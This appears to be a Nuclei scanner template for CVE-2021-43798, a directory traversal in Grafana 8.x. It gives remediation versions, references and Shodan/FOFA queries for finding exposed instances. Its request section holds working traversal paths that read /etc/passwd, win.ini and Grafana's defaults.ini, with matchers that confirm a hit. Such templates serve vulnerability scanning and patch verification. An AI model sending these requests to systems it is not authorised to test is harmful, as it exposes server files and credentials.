id: CVE-2021-43798

info:
  name: Grafana v8.x - Arbitrary File Read
  author: z0ne,dhiyaneshDk,j4vaovo
  severity: high
  description: Grafana versions 8.0.0-beta1 through 8.3.0 are vulnerable to a local directory traversal, allowing access to local files. The vulnerable URL path is `<grafana_host_url>/public/plugins/NAME/`, where NAME is the plugin ID for any installed plugin.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: Upgrade to patched versions 8.0.7, 8.1.8, 8.2.7, or 8.3.1.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
    - https://nosec.org/home/detail/4914.html
    - https://github.com/jas502n/Grafana-VulnTips
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43798
    - http://packetstormsecurity.com/files/165198/Grafana-Arbitrary-File-Reading.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43798
    cwe-id: CWE-22
    epss-score: 0.94334
    epss-percentile: 0.99911
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,packetstorm,grafana,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd'
      - '{{BaseURL}}/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../windows/win.ini'
      - '{{BaseURL}}/public/plugins/alertlist/../../../../../conf/defaults.ini'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/plain"

      - type: regex
        regex:
          - 'root:.*:0:([0-9]+):'
          - '\/tmp\/grafana\.sock'
          - '\[(fonts|extensions|Mail|files)\]'
        condition: or

      - type: status
        status:
          - 200
# digest: 490a004630440220790e7716808442eb88c7527cd71ca50ca07b3eb53142cd98b9a0a364619b4c0f022069e19c9e3f11e248648b3d71c5a08d73363c38bd10b3b2fd0128a8e57af18d6e:922c64590222798bb761d5b6d8e72950